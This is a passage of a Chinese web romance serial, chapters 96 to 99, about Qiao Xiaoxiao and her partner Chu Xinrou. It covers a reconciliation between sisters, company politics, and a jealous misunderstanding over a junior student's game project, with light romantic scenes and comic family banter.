“在想什么呢?” 乔潇潇一边问,一边贪婪地嗅着的楚心柔身上馥郁的香气,快要被这气息勾走了魂。 楚心柔沉默不语,但乔潇潇却像是她肚子里的蛔虫般了解她的心思,柔声劝着:“姐姐,你也说了,这么多年过去,你父亲早就没有当年的威慑力了。集团你也不会接手,现在许可晴也跑了。如果你真的心疼妹妹,不必再刻意压抑自己的感情了。” 被戳中心事的楚心柔有些恼羞成怒,转身捏住乔潇潇的嘴唇:“你说得倒轻巧。” 事情哪有那么简单? 乔潇潇怎么会不了解楚心柔? 她轻笑着伸出舌尖,在楚心柔的手指上轻轻一舔。楚心柔像是被烫到一般,猛地缩回手,脸颊泛起红晕。 乔潇潇凝视着她的眼睛,声音温柔而坚定:“姐姐,我相信你。” “勇敢表达就好。” …… 不知从何时起,楚心柔渐渐卸下了心防,不再像从前那般固执己见。 在潇潇的鼓励下,她试探性地走近了妹妹。 楚凤依正坐在沙发上出神,怔怔地望着姐姐的画作。画布上,金灿灿的向日葵在阳光下怒放,花海中有两个女孩手牵着手,长发随风飘扬,笑容明媚地奔跑着。 不必说,画中定是她与潇潇。 从前楚凤依也常看姐姐的画,却总是不太喜欢。那时的画作总是充斥着大片大片的黑灰色调,压抑而沉闷。 楚心柔坐在了她的对面,看着她,还是不知道怎么开口。 楚凤依一看到姐姐来了,立马收起腿,说:“我马上就睡了。” 楚心柔抿了抿唇,看着她的小心翼翼,有些心酸,柔声说:“你明天想去哪里?姐姐陪你去。” 楚凤依愣了一下,她瞪圆了眼睛,不可思议地看着姐姐半响,问:“是陪我玩一天,然后赶我走么?” 楚心柔:…… 看来这些年,她这个做姐姐的,真的是很不合格。 楚心柔轻轻地摇了摇头,她走到了楚凤依的身边,贴着她坐下,轻轻地抱住了她。 被姐姐揽在怀里的楚凤依身子微微一颤,眼圈瞬间就红了。 …… 客厅里,假装跟糯糯下五子棋的乔潇潇简直是眼睛都快要从眼眶里蹦出来跑到人家两姐妹面前去了。 糯糯无奈地说:“你要是关注就过去看啊。” 干嘛拿她当靶子?! …… 二小姐在姐姐的怀里,是哭了个彻彻底底。 楚心柔给她擦了擦眼泪,眼圈也跟着红了,她看着楚凤依,柔声问:“凤依,想要什么?告诉我。” 乔潇潇听了感觉心情愉悦,跟着点了点头,对了对了,姐姐,就是这样,这样就对了,就一个字“宠”,使劲宠,往死的宠!她说什么都答应! 二小姐也很上道,她小鸟依人的缩在姐姐的怀里,一手扯着她的衣襟,“我……我想姐姐今晚陪我。” 楚心柔的面容一僵,立即看向乔潇潇。 二小姐也顺着望过去,楚楚可怜地看着乔潇潇:“我都好久没跟我姐姐睡了。”她的声调一转,百转千回:“行吗?姐——夫~” 乔潇潇:………… 糯糯:^0^ 【作者有话说】 楚凤依叉腰:我告诉你们,本小姐是大智若愚!不是真傻! 97 第97章 ◎乔潇潇凝视着这样的姐姐,喉间溢出一声满足的叹息。◎ 一声“姐夫”千回百转,把乔潇潇的腿都给叫软了,楚心柔看她那没出息样,摇着头宠溺地笑了。 那浅浅的笑,溅在乔潇潇的心底,荡起一阵阵涟漪,一直到人家姐妹俩都离开了,她嘴角还留着傻笑。 糯糯无语地盯着自己的姐姐看了一会儿,叹了口气,走过去,抱住她的腿:“姐夫~我们也睡吧。” 笑容戛然而止,乔潇潇鸡皮疙瘩都起来了,她用力地抖了几下,把糯糯从腿上抖了下去。 糯糯:…… …… 在楚凤依的记忆里,上一次跟姐姐睡觉,还是一个大雨天,外面狂风暴雨,爸妈都不在家,她一个人在自己的房间里瑟瑟发抖。 雷电实在是太大了。 二小姐抱着洋娃娃的手都在颤抖,内心的恐惧要溢出来了,中途,佣人敲门问着:“二小姐,用我陪你么?” 楚凤依挺直腰板,“不需要,我又不是小孩子!” 她才不会害怕! 佣人摇了摇头走了,她家这位才十岁的二小姐,自打没了腿之后,脾气总是这样古怪,再也不是之前那样单纯可爱了,别说外人了,就是家里这些曾经的他亲近的下人都躲着走。 一道闪电划破天际,随之而来的惊雷震得整栋别墅都在颤抖。 楚凤依下意识抱紧双膝,残缺的下肢在睡裙下若隐若现。已经两年了,她依然无法直视这具身体。每当看到镜中那截丑陋的假肢,羞耻与愤怒就会如潮水般将她淹没,镜子让她打碎好几个,更不用提暴露在外人面前了。 听着脚步声渐渐远去,她咬紧了嘴唇。又一记炸雷落下,楚凤依浑身一颤,怀里的洋娃娃差点掉在地上。 当敲门声再次响起时,她几乎要哭出声来,“又干什么?” 敲门声停顿,迟疑了片刻,才有淡淡的声音响起,“凤依,我是姐姐。” “需要我陪你么?” 楚凤依到现在都记得自己那一刻眼圈陡然湿润的委屈感,她唯恐姐姐离开,快速打开门。 看到妹妹这样过来的楚心柔明显愣了一下,她的眼里闪过一丝心疼,但是很快隐去了,“快上床,不冷么?” 不冷。 只要在姐姐的怀里就不冷。 就像是现在,明明已经跟楚心柔一边高了,可二小姐还是要挤在姐姐的怀里,鼻尖萦绕着熟悉的淡香,是姐姐身上独有的气息,温柔又令人安心。她眼眶发热,喉咙发紧,半晌才低低地唤了一声:“……姐。” 楚心柔的身子微微一僵,随即收紧了手臂,将她搂得更紧。 楚凤依将脸埋得更深,声音闷闷的,带着几分不易察觉的颤抖:“其实……我挺害怕的。” 楚云疾的突然病倒,许可晴的秘密被撞破,家族暗流涌动,一切都像是一场无声的风暴,而她站在风暴中央,表面镇定,心里却早已溃不成军。 她经营努力了那么久,楚云疾说收回一切就收回,那她算什么? 楚心柔没有回答,只是轻轻抚着她的后背,指尖的温度透过单薄的睡衣传来,像是无声的安慰。 楚凤依又往她怀里缩了缩,像小时候那样,小声嘟囔着:“……我好想你。” 这一句,藏了太多没说出口的委屈、依赖和思念。 楚心柔抬起手,轻轻地揉了揉楚凤依的头发,二小姐的眼睫颤了颤,终于安心地阖上双眼,声音轻得像是梦呓:“真想回到小时候……” 回到八岁前的夏天。 那时的阳光总是格外明亮,她还能赤着脚在花园里奔跑,两条腿灵活地踢着秋千,荡得老高。 姐姐会在一旁紧张地护着,生怕她摔着,却又拗不过她撒娇,只好无奈地陪她玩了一遍又一遍。游乐场的旋转木马上,她总是指着最高大的那匹马,楚心柔就会笑着把她抱上去,自己则站在旁边,一只手始终护在她身后。 那时的风里都是棉花糖的甜味,姐姐的眼里也只有她一个人。 楚凤依无意识地往楚心柔怀里蹭了蹭,像是要把自己藏进那段再也回不去的时光里。那些简单的快乐,如今想来竟奢侈得像场幻梦。 “睡吧。”楚心柔的声音很轻,却让楚凤依的眼角悄悄湿润了。 她知道,有些东西失去了就是失去了,就像她再也长不回来的腿。 可此刻,至少在姐姐的怀抱里,她还能假装一切都未曾改变。 夜色如墨,繁星点点。 楚心柔独自坐在天台的藤椅上,指尖无意识地摩挲着啤酒罐的拉环。夜风拂过,带着初秋特有的凉意,却吹不散脑海中那句带着哭腔的“我好想你”。 “吱呀——” 天台的门被轻轻推开。乔潇潇赤着脚,像只灵巧的猫儿般悄无声息地靠近。月光下,她看见楚心柔微微泛红的眼角,心头一紧,快步上前夺过那罐只喝了一口的啤酒。 “夜里凉。”乔潇潇从背后环住楚心柔,将下巴搁在她肩头,温热的体温透过单薄的睡衣传来,让楚心柔不自觉地往后靠了靠。 曾几何时,那个总跟在她身后的小女孩,如今已经能将她整个拥入怀中了。 曾几何时,乔潇潇就这样期盼着,快点长大,快点,再快一点,这样她就有能力保护姐姐了,不让她一人暗自神伤。 如今,她终于做到了。 “糯糯睡了么?” 楚心柔用鼻音问着,乔潇潇点头,有点无奈:“都多大了,还让我像是小时候一样,给她讲三只小猪的睡前故事。” 那是糯糯小时候,潇潇总会讲给她听的,当时家里没有什么故事书,还是王宁姐给她拿过来的。 糯糯明明看得懂,却非要姐姐给她讲故事,都讲了不知道多少遍了,可糯糯就是听不够。 楚心柔微微垂头,“我没有给凤依讲过。” 这些年,她亏欠妹妹很多。 乔潇潇伸出手,摸了摸姐姐的耳垂:“有很多姐姐也没讲过啊,难道这样的事儿,也要卷么?” 她知道,一个人心情低落的时候,看到别人什么好的一面,都会做对比的那种难过感。 楚心柔不知道在这儿做了多久了,身子微凉,乔潇潇想要焐热她,手顺着睡衣扣滑了进去。 楚心柔浑身一颤,耳尖瞬间红得滴血,她羞恼地转头,却对上乔潇潇含笑的眼眸,一时间,所有的羞赧都化在了心底。 乔潇潇没有进一步动作,只是将掌心贴在楚心柔心口。那里跳得很快,却很温暖。她满足地叹了口气,把脸埋进楚心柔的颈窝。 夜风依旧,但相拥的体温足以驱散所有寒意。 乔潇潇轻声说:“姐姐,我知道,你放心不下凤依,回去帮帮她吧。” 楚心柔动了动,想要说话,却被那轻轻一握,剥夺了全部力气,“可是,嗯……” 乔潇潇扣住她的腰肢,不容抗拒地将人转了过来。月光下,她的眸子亮得惊人,带着不容拒绝的炽热。楚心柔还未来得及反应,唇上便覆上一片柔软。 薄荷的清凉在唇齿间蔓延,却浇不灭愈演愈烈的火焰。 这个吻来得又凶又急,像是要把这些天积攒的思念尽数倾泻。乔潇潇的指尖深深陷入楚心柔的腰窝,另一只手稳稳托住她发软的身子。 楚心柔的指尖无意识地掐进乔潇潇的手臂,却在愈发深入的亲吻中渐渐失了力气。细碎的吻顺着脖颈一路向下,每一次都让她止不住颤抖。 月光如水,将楚心柔潮红的面容映照得格外动人。长睫轻颤,眸中氤氲着迷离的水雾,被吻得嫣红的唇微微张着,吐息凌乱得不成样子。 乔潇潇凝视着这样的姐姐,喉间溢出一声满足的叹息。 …… 好好的悲伤情绪,就这么被打散了。 楚心柔指尖轻拢鬓边散乱的发丝,眼波流转间带着几分嗔意。她细细打量着眼前人,不过几日不见,上次连紧张到屏住呼吸的人,怎就变得这般……熟练? “姐姐你想什么呢?”乔潇潇就像是住在了楚心柔的心里,知道她在想什么,得寸进尺地凑近,“杨姐姐可是夸我学得快呢。” 楚心柔轻哼一声,指尖在她胳膊上不轻不重地拧了一下。乔潇潇却笑得愈发灿烂,顺势将人往怀里带了带。温热的掌心贴在腰间时,楚心柔呼吸一滞,刚才被吻得发软的腰肢顿时绷紧。 “真的只是抱抱。”乔潇潇眨着眼,模样乖巧得不像话,可楚心柔分明看见她眼底涌动的暗潮,想要跑,可一点力气没有,只能放任她的得意。 乔潇潇将脸埋进楚心柔颈窝,深深吸了口气,她很想姐姐。 明明是个独立自主的人,可分开这几天,每一天都度日如年。 爱情是个什么滋味,她终于慢慢的感受到了。 在潇潇的怀里,楚心柔缓和了许久,心跳慢慢的恢复平静,其实她也知道,现在楚信集团正在关键时刻,妹妹也的确需要她的帮助,只是,她舍不得潇潇。 潇潇搂着姐姐:“我最近认识了几个新朋友,是搞计算机的,那些什么程序啊代码我不懂,但是他们设计的手游,我玩了玩,觉得很上瘾,能坐那打一个小时也不累。” 楚心柔立即get到了她的点,笑了:“乔老板是告诉我,自己又发现了生财之道,想要投资,很忙碌,不用我担心对么?” 乔潇潇抱紧了楚心柔,用力嗅着姐姐身上的香气。 这么些年来的朝夕相处,还是让她们之间有非比寻常的默契的。 …… 二小姐第二天听到姐姐说要回去帮她的时候,整个人愣在了原地,还以为自己听错了,“不是,姐,你说什么?” 楚心柔弯腰整理行李,如瀑的长发滑落脖颈,语气依旧淡淡的:“再问,你就自己回去。” 二小姐:!!! 妈呀,是真的吗? 姐姐真的要帮她陪着她??? 乔潇潇和姐姐这些年已经达成了共识,为了每一次离别的时候,不让双方太痛苦,尽量不要去送站。 这是她们达成的,可不是糯糯和二小姐达成的。 车窗外的景色在泪眼中模糊成一片,楚凤依死死攥着座椅扶手,指节都泛了白。糯糯小小的身影在后视镜里越来越远,却仍倔强地追着车跑。 糯糯跑得太急,差点被石子绊倒,却还是跌跌撞撞地往前追,梳得整整齐齐的双马尾也散开了,哭得通红的小脸上全是泪痕。 直到乔潇潇冲出来将糯糯搂进怀里,那个小小的身影终于变成了视野尽头的一个模糊小点。 楚凤依这才松开咬得发疼的下唇,抬手抹去满脸冰凉的泪水。 “我回去就……”她的声音哑得不成样子,清了清嗓子才继续道:“给糯糯安排最好的资源,我要让她……堂堂正正地站在最亮的舞台上。” 她知道糯糯一直有一颗要当艺人的梦。 楚心柔看了她一眼,“先把你的眼泪擦干。” 二小姐:…… 她感觉出姐姐对自己的想法似乎不接受,二小姐问:“姐姐,你是觉得糯糯太小么?” 楚心柔摇了摇头:“她不小,潇潇在这个年龄,已经承担起整个家了。” 二小姐:…… “一个人在外打拼很久了。” 二小姐:…… 又来了,又来了。 ——是是是,你潇潇最好,你潇潇宇宙第一好。 楚心柔只是觉得糯糯才刚恢复语言功能,准备回归社会,事缓则圆,她能理解楚凤依的心,但是凡事儿不能太急。 姐妹齐心,其利断金。 楚信集团那些老股东,大概想不到,在楚家经历了这样的动乱,这样的丑闻之后,还能看到两姐妹一起出现在董事会上。 楚心柔的行事风格跟二小姐完全不同,她的气场,完全不用靠发脾气,厉声呵斥来体现,一个眼神,一个抬眸,就能让下面人战战兢兢。 她的目标也很明确,一切为了凤依铺路,大刀阔斧的砍掉一些不必要的分支。 虽然手腕雷利了一些,底下人*也不少跟楚云疾发牢骚的,但很明显,大女儿的目光跟能力,是楚凤依远远不能比的。 才不过一个星期,楚云疾就忍不住在楚心柔面前重重的叹气,“爸爸最近看你这么尽心尽力的辅助你妹妹,想着你是不是——” “不用多想。”楚心柔翻看着手里的文件,头都没抬:“我越是尽心辅助她,她越是能快一步站稳脚跟,我就能早点回家了。” 她想潇潇,想到晚上都要失眠了。 楚云疾:…… 乔潇潇又何尝不想姐姐? 但是她也知道楚家的情况,每天尽量减少跟她视频,但是微.信没少发。 这样姐姐有时间了,就可以翻看她的信息,不耽误她做事情。 晨光熹微中,杨绯棠咬着筷子,目光在乔潇潇消瘦的脸庞上逡巡,下巴尖得能戳人,眼下一片淡淡的青影。 “想她就直说啊,”杨绯棠忍不住用筷子尾戳了戳乔潇潇的额头,“她再忙,总不至于连一天都抽不出来。” 乔潇潇慢条斯理地搅动着碗里的白粥,抬眸时眼底一片清冷:“然后呢?”瓷勺碰在碗沿发出清脆的声响,“让她早上飞回来,晚上再赶回去?” 其实她偷偷去看过楚心柔。在楚氏集团顶楼的会议室玻璃外,她看见那个平日里温柔似水的姐姐,正被一众高管簇拥着。修长的手指轻点文件,红唇开合间尽是杀伐决断。那是她从未见过的模样——锋利、耀眼,举手投足间皆是摄人心魄的气场。 陌生又迷人的模样,让乔潇潇在玻璃窗外站成了雕塑。 她发现只要是楚心柔,有关于姐姐的,无论温柔也好,高高在上也好,冷漠也好,她都喜欢。 可她只是远远的看了一会儿就走了,没去打扰。 她也是干事业的人,知道一个人一旦投入了状态,很容易被感情打碎,需要时间重新去投入。 她也希望姐姐能一气呵成。 下午的时候,杨绯棠没什么事儿,去学校跟着乔潇潇遛操场,看这孩子沉默寡言的,时不时就偷偷红一下眼圈的,心里实在不好受。 她感觉再这样下去,等楚心柔回来,乔潇潇得病了。 在乔潇潇的成长路上,杨绯棠真的是操碎了心。 她们溜达到第三圈的时候。 有一个戴着眼镜,皮肤白皙,文文静静的小姑娘走了过来,一看见乔潇潇就非常有礼貌的叫了一声:“学姐。” 乔潇潇点头,跟旁边的杨绯棠介绍:“这是我们大一计算机系的佪莺同学,能力特别强,保送来的。” 能力强不强,杨姐姐并不感兴趣,只是小姑娘看着乔潇潇那冒桃心的眼睛,她挺关注。 杨绯棠摸着下巴,笑的坏极了,“嗯嗯嗯,好,学妹啊,真好。” 佪莺期待地看着乔潇潇:“我做了新的游戏demo,想请学姐试玩。” 杨绯棠倚在操场边的梧桐树下,眯着眼望向不远处的树荫。 阳光透过枝叶斑驳地洒在两个女孩身上,佪莺正手忙脚乱地操作着笔记本电脑,时不时偷瞄身旁的乔潇潇,潇潇微微前倾着身子,专注地看着屏幕。 “咔嚓”一声轻响。 杨绯棠满意地看着手机屏幕上的画面:逆光中,潇潇的轮廓镀着一层金边,学妹仰起的脸上写满崇拜。她指尖轻点,给楚心柔发去消息。 [图片] [你们家潇潇的直系学妹] [叫学姐时甜得能掐出蜜来] [刚满十八岁] [这扑面而来的青春气息啊] 发完消息,她故意把手机音量调到最大。 这几天,楚心柔忙的别说电话了,连杨绯棠的信息都不回。 这一次,她倒要看看这位楚姐姐在高贵个什么劲儿! 果然不出三秒,消息提示音就炸响般接连不断。 “杨高贵”看也不看,她慢悠悠地踱步到长椅边坐下,唇角上扬,感慨:“哎呀,天儿真好啊,适合看戏。” 【作者有话说】 乔潇潇:……我三克油了。 98 第98章 ◎乔潇潇她要是敢……她试试看!◎ 晨光透过落地窗洒进会议室,在长桌上投下整齐的光斑。 楚心柔端坐在主位,指尖的钢笔在文件上划出几道凌厉的痕迹。往常这个时候,她总能从冗长的汇报中瞬间抓取关键数据,任何试图蒙混过关的小动作都逃不过她那双锐利的眼睛。集团高管们私下都说,楚大小姐的大脑就像量子计算机,多线程运转时连小数点后三位的误差都能揪出来。 可今日—— “第三季度市场占有率下降0.8%,主要原因是……”市场部总监的声音越来越小。他偷瞄着主位上那位突然绷紧下颌的楚大小姐,额头沁出细密的汗珠。 整个会议室的气压正在以肉眼可见的速度降低。 楚心柔修长的手指在实木桌面上轻轻叩击,她微垂的眼睫在眼下投出一片阴影,周身散发的凛冽气场让整个会议室的温度都骤降了几分。 二小姐在副座上如坐针毡。她从未见过姐姐这副模样,仿佛下一秒就要掀翻会议桌。财务总监总算是汇报完了,那口气还没喘匀,楚心柔突然“啪”地合上文件夹,所有人齐刷刷打了个寒颤。 “散会!” …… 二小姐是追着姐姐一路到了办公室。 楚心柔端起第三杯美式,冰凉的液体滑过喉咙,却浇不灭心头那股无名火。她将杯子重重搁在办公桌上,抬眸看向妹妹:“还有事?”声音里带着明显的逐客令。 二小姐歪着头打量姐姐,能让泰山崩于前而面不改色的楚大小姐失态至此的,除了乔潇潇那个小混蛋还能有谁? “是潇潇惹你生气了?”她故作天真地问道。 “啪!”钢笔被拍在实木桌面上。楚心柔眼神锐利如刀:“关她什么事儿?” 二小姐表面乖巧点头,心里却门儿清。她慢悠悠地从抽屉取出一个烫金信封,递过去时故意欲言又止:“这个……你看看?” 楚心柔蹙眉接过,当看清文件内容时,指尖蓦地收紧。 “集团最新幼苗培养企划。”二小姐转着钢笔,笑得像只狐狸,“都是十八九岁的新鲜苗子。”她特意翻开内页,指着某个穿白衬衫的女孩,“这款最近特别受欢迎,粉丝都叫她‘人间水蜜桃’。” 空气骤然降至冰点。 见姐姐无动于衷,二小姐干脆起身走到她身边,又抽出一张照片在楚心柔眼前晃了晃:“喏,这款是运动系小狼狗。”照片里的女孩穿着露脐运动背心,拳击手套抵着马甲线,汗湿的发丝在阳光下闪闪发亮。 “青春的气息啊~”二小姐拖长声调,指尖又翻出另一张照片:“还有这款知性御姐型。”画面中的少女抱着书本坐在樱花树下,金丝眼镜后的眼眸沉静如水,“才十九岁,已经是女团主舞了。” 她到现在还是觉得姐姐被乔潇潇迷城这样,多少有一点看上了人家的脸,人家的小身板的原因。 楚心柔的目光终于从文件移到妹妹脸上,漆黑的瞳仁里翻涌着危险的暗流。 二小姐后背一凉,却还是硬着头皮又抽出一张照片:“这个是……” “凤依。” 楚心柔打断了她的话,二小姐点头,目光炯炯地对着姐姐:“我在。” 是不是动心了? 她才是亲妹妹啊,有什么就说,她都会满足姐姐的! 楚心柔眉头蹙着,似乎很是不解,缓缓地问:“你什么时候变得这么好.色了?” 二小姐瞪圆了眼睛,手里的照片“啪嗒”掉在桌上。 啥??? 楚心柔的眉宇像是挂了霜,声音还带点气:“是不是再年轻的人,也会喜欢年轻的皮囊?” 就像是乔潇潇,平时装的高冷是个人似的,在她学妹面前,笑的那么温柔。 二小姐:??? 什么东西??? 说完,楚心柔盯着手机去看,那眼神活像要透过屏幕把某人给生吞了。 乔潇潇她要是敢……她试试看! 二小姐这下子有点明白了,语气里带着点兴奋:“姐,你是不是要回去几天,用我帮你订机票么?” 楚心柔看着她,目光平静,“谢谢。” 二小姐:…… “谢谢”倒不用,多少有点讽刺的意味了。 二小姐非常热心地给姐姐订了票,又身前身后的帮她收拾行李,最后还不忘把自己准备的那一沓照片给姐姐装包的侧兜里了,想着她上飞机要是无聊就翻着看看。 …… 乔潇潇这几天忙的热火朝天,完全不知道“危险降临”。 她中午休息的时候,给姐姐发了信息,姐姐没有回,心里有点惦记着,就给二小姐发了条微信。 ——姐姐还在忙么? 二小姐多坏啊,她知道俩人肯定是矛盾了,姐姐这是要回去收妖了,她唯恐天下不乱地回复。 ——嗯嗯嗯,还在开会。 就是要这样出其不意的给她当头一棒效果才明显! 秘书看着二小姐笑的鞋拔子一样的脸,有点替她开心。 集团上下的人都感觉到了,自从大小姐回来后,二小姐整个人的精神状态都不一样了,鲜活快乐了起来。 二小姐能不开心么? 姐姐答应她了,以后不会再那么久的离开她,等这次都稳定了,只要她需要,每年偶尔回来几天给她“撑场子”没有问题。 这大概是最好的选择了吧。 二小姐已经十分知足了,她也知道,姐姐的改变跟乔潇潇有很大的关系。 可她就是没有办法把那个比自己还小几岁的女孩当做自己的“姐夫”,一时半会完不成角色的转变不说,她也会“吃醋”的,凭什么她那么好的一个姐姐就被她给拱了?她不服气。 有时候,二小姐也会觉得姐姐这样……也还挺好……找一个比她小十岁的人……而且,乔潇潇无论是从面容身材还是学历亦或是能力来说,都挑不出来一点错误,简直是完美情人…… 更何况,人都说女人三十如狼,姐姐也快三十了,看乔潇潇那样子,应该是体力很好的感觉,能让姐姐很“性.福”的吧…… 二小姐到底年轻,思想活泛,想着想着就容易开车。 但归根到底,最重要的一点,以后她和那个从小就被她关在心尖上的小女孩糯糯就有了另一层牵连了。 她们真的成了家人了,不是么? 二小姐正美滋滋地盘算着乔潇潇吃瘪的模样,走廊尽头传来缓慢的脚步声。 楚云疾病后消瘦的身影出现在光影交界处,曾经笔挺的西装如今松松垮垮地挂在肩上。自打被许可晴气进医院后,这位昔日的商业霸主就像被抽走了脊梁骨,连影子都比从前佝偻了几分。 他看着二女儿不知道她在想什么,一个人在那边琢磨边傻乐,很是可爱。 曾几何时,他以为金钱权势就是一切,如今才明白天伦之乐才是无价之宝。可惜两个女儿早已不是当年会拽着他衣角撒娇的小丫头了。 楚云疾站在二女儿面前半天,也没找出什么能跟她聊的话,最后不甚英明地说了一句:“最近表现不错,我看你也挺开心。” 二小姐合上手机,唇角挂着标准的商务微笑:“爸爸,你是想要我向你汇报工作么?” 楚云疾无奈地摇了摇头,二小姐对着他微微一笑:“爸爸,我看你最近身体也恢复的不错了,可以适当的出去走一走。” 她看自从许可晴走了之后,不少阿姨、小姐姐们都虎视眈眈楚夫人这个位置呢。 楚云疾知道她在说什么,立即表示:“爸爸就只有你和你姐两个女儿了。” 他以为,自己这样表决心,小女儿会开心地抱住他撒娇。 可没成想,二小姐明显很惊讶,紧接着,目光落在了爸爸的小.腹.处,看了一眼,像是发现了什么不可思议的秘密般,立即移开。 这么一瞥,可把老头子气的差点厥过去,他几乎是暴跳如雷:“我的生殖能力没有问题!” 吼完才惊觉失态,他涨红着僵在原地。 二小姐却已经施施然走远,只留下一串爽朗的笑声在走廊回荡,这是这段时间,她跟着姐姐学的“宠辱不惊”法,以前,她也看过姐姐怎么管理公司,但是那时候毕竟二小姐还小,心思不在上面,现如今,才是正经八本的学习。 相比起楚云疾那种高压政策,她更喜欢姐姐这样谈笑间樯橹灰飞烟灭的淡定感,同样是压力,楚云疾就有一种“不跟老子干等着死”的压迫感,而姐姐则是“顺我者昌逆我者亡”,细雨无声地威严感,是她努力的方向。 楚云疾重重地叹了口气,曾几何时,他以为严厉与苛责才是培养继承人的正道。如今看着凤依在姐姐引导下举重若轻地处理集团事务,谈笑间就让那些老狐狸股东们心服口服,才明白自己错得有多离谱。 他终于不得不承认那个在他面前永远竖起尖刺的二女儿,只有在姐姐身边时,才会像现在这样既保持着锐利的锋芒,又懂得收放自如的智慧。 …… 飞机落地的时候。 浑然不知的乔潇潇还在跟佪莺热火朝天的讨论着设计细节,这几天的朝夕相处,已让她从对游戏一窍不通的门外汉,变成了能精准指出角色动作帧数问题的半个行家。 佪莺抱着一叠设计稿坐在她的旁边,镜片后的眼睛亮得惊人,她从未见过有人能像学姐这样,短短数日就能将晦涩的专业术语消化得如此透彻,同时慨于学姐的聪明智慧与财大气粗,她们一起带着小组成员加班加点,逐步细化各种细节,做着最后的调试,想着趁着暑假就上架试试水。 不过佪莺也是紧张,“学姐,如果……”她捏紧了手中的企划书,声音有些发颤,“如果市场反响不好,我们……” 她焦虑的一部分原因是乔潇潇的“亲力亲为”,也不知道她哪儿来的那么大心神,忙完青心的业务就转战到她们小组,每天还能保持高度的头脑清晰,超人一般的精力旺盛。 乔潇潇头也不抬地轻笑一声,指尖在键盘上敲出清脆的节奏:“赔了就赔了。” 那语气轻松得像在讨论今天的天气。经历过街头摆摊被城管追、创业初期睡办公室的日子,这点投资对她而言不过是成长路上必经的学费。 而且,她很看好手游市场,牟定的不是这一款产品,而是她们的未来。 她刚和王颖通过电话,计划让佪莺团队与王阿姨女儿的教育APP团队对接。当“寓教于乐”四个字说出口时,电话那头的王颖都愣了半天,赶紧把电话给女儿。 没错,乔总也锚定了未来教育的发张趋势,密密麻麻的笔记里,“教育减负”“线上转型”等关键词被反复圈画,乔潇潇摩挲着下巴,她预感到这场教育变革的风暴即将来临。 到那时,能提前布局的,才是真正的赢家。 中午,为了犒劳大家连日来的加班加点。 乔潇潇特意点了小龙虾这些年轻人爱吃的。 麻辣小龙虾的香气弥漫在整个办公区,乔潇潇却浑然不觉。她全神贯注地盯着屏幕上跳动的代码,连佪莺什么时候凑到身边都没注意。直到一碗剥得晶莹剔透的虾肉递到眼前,她才微微回神。 “学姐,吃点东西吧。”佪莺推了推眼镜,声音轻柔。 乔潇潇下意识要拒绝,除了楚心柔和杨绯棠经手的食物,她从不碰别人准备的餐点。可看着学妹期待的眼神,终究只是礼貌地笑了笑:“谢谢,你先吃。” 她没有挪开那碗虾肉,任由它搁在键盘旁边。 当楚心柔拖着行李箱站在门外,透过玻璃,她看见乔潇潇整个人几乎要贴到屏幕上,而那个戴眼镜的女孩正亲密地挨着她,两人发丝都快要交缠在一起。 乔潇潇说着突然轻笑出声,侧脸在阳光下镀着层柔光。她转头对女孩露出个鼓励的笑容,正是楚心柔最熟悉的那种,带着三分宠溺七分纵容,当年不知让她多少次心软妥协。 拳头已然硬了。 而她们的身边,摆着一碗拨好皮的小龙虾。 以乔潇潇的性格,是没有那么细心,能把虾皮剥了,还把虾线剔除的。 目光所及了一切细节收集了证据之后,楚心柔微微眯了眯眼睛,她抬起手,在闷上敲了敲。 “咚咚咚。” 大家随着敲门声一齐往外去望。 当看到楚心柔之后,佪莺看到这几天都没有什么情绪波动的学姐,整个人触电般弹了起来,椅子在地面刮出刺耳的声响,声音都变了调:“姐姐???!!!” 【作者有话说】 别以为潇潇彻底输了,叶子画个重点:二小姐塞进姐姐包里的东西。 好久没二更了吧?今天留言多,二更~ 99 第99章 (二更) ◎姐姐,你吃醋了?◎ 楚心柔的突然出现让乔潇潇瞬间怔在原地。她的心脏剧烈跳动着,几乎要冲破胸腔,掌心沁出一层薄汗。 巨大的惊喜之后,乔潇潇快步上前,一把攥住楚心柔的手。 办公室里顿时鸦雀无声。佪莺和其他小组成员面面相觑,都被乔总这反常的举动惊得不知所措。佪莺的目光不由自主地落在楚心柔身上,这个风尘仆仆拖着行李箱的女人,即便带着旅途的疲惫,也难掩那份浑然天成的端庄气度。当楚心柔淡漠的视线扫过时,佪莺竟莫名心慌,下意识垂下了眼帘。 而一向在外人面前有分寸的楚心柔这一次,旁边那么多学校的学弟、学妹在看,她“破天荒”地没有提示乔潇潇放开手。 “乔总,楚总。” 王宁恰到好处地端着茶水出现,提示她们还有外人在。 乔潇潇如梦初醒,匆匆对众人说了句“你们继续”,便拉着楚心柔快步离开了会议室。 她的步伐又急又快,几乎是将楚心柔拽着进了办公室。“砰”的一声关上门,乔潇潇转身就将楚心柔紧紧抱住,声音里是藏不住的雀跃:“姐姐,你怎么回来了?” 刚才还气场全开的乔总,此刻却像只欢快的小狗,整个人都埋进了楚心柔的怀里。 楚心柔修长的手指轻轻抚过她的发丝,语气淡淡的:“不回来,怎么能见识到乔总的风采?” “嗯?”乔潇潇茫然抬头,眸子里满是疑惑。 楚心柔的目光在她脸上逡巡,指尖若有似无地划过她的下颌线:“就是你口中那个‘优秀的学妹’?” 乔潇潇点点头,仍沉浸在重逢的喜悦中,丝毫没察觉姐姐话里的异样:“是啊,大一的学妹,偶然发现的。虽然是女生,但在IT方面特别有天赋。”她顿了顿,语气里带着赞赏。 一般人都认为这个行业,是以男性主导,可佪莺无论是在技术上还是在表达上,都不逊色于任何男生。 “哦?” 楚心柔不动声色地退出她的怀抱,优雅地走向沙发。 她缓缓落座,双腿交叠,修长的手指轻叩扶手,微眯着眼睛看向乔潇潇:“那你说说,到底有多优秀?”她的红唇轻启,语气平静得近乎危险:“或许楚信也需要这样的人才。” 姐姐这幅御姐霸总的模样,简直把乔潇潇的魂儿都给勾走了,她屁颠屁颠的跑过去,又像是没骨头一样靠着姐姐:“楚信开始涉猎IT行业了么?” 她怎么记得楚信主要是娱乐和房地产啊。 楚心柔不理她。 乔潇潇贪婪地嗅着姐姐身上的茉莉香,激动不已:“就是之前我跑步的时候,听到过几次有人提她,后来遇到是在街心花园那,她正和几个人在设计游戏,看见我过去,就让我试玩了。” 这么多偶遇?没有人为因素么? 楚总点头评价:“挺有缘。” 乔潇潇知道她的意思,“姐姐,我不在意佪莺之前是不是调查过我,是不是有意接近,你说过的,只要对方的品质端正,使点手段是人之常情。” 楚心柔目光悠远地看着她,“是呢,我们乔总这么优秀,如果是我,我也会这么做。” 乔潇潇这次听出她这话怪怪的了,她从姐姐怀里脱离开,直起了身子,讶然地盯着姐姐看。 姐姐……这是吃醋了么? 她根本不敢相信。 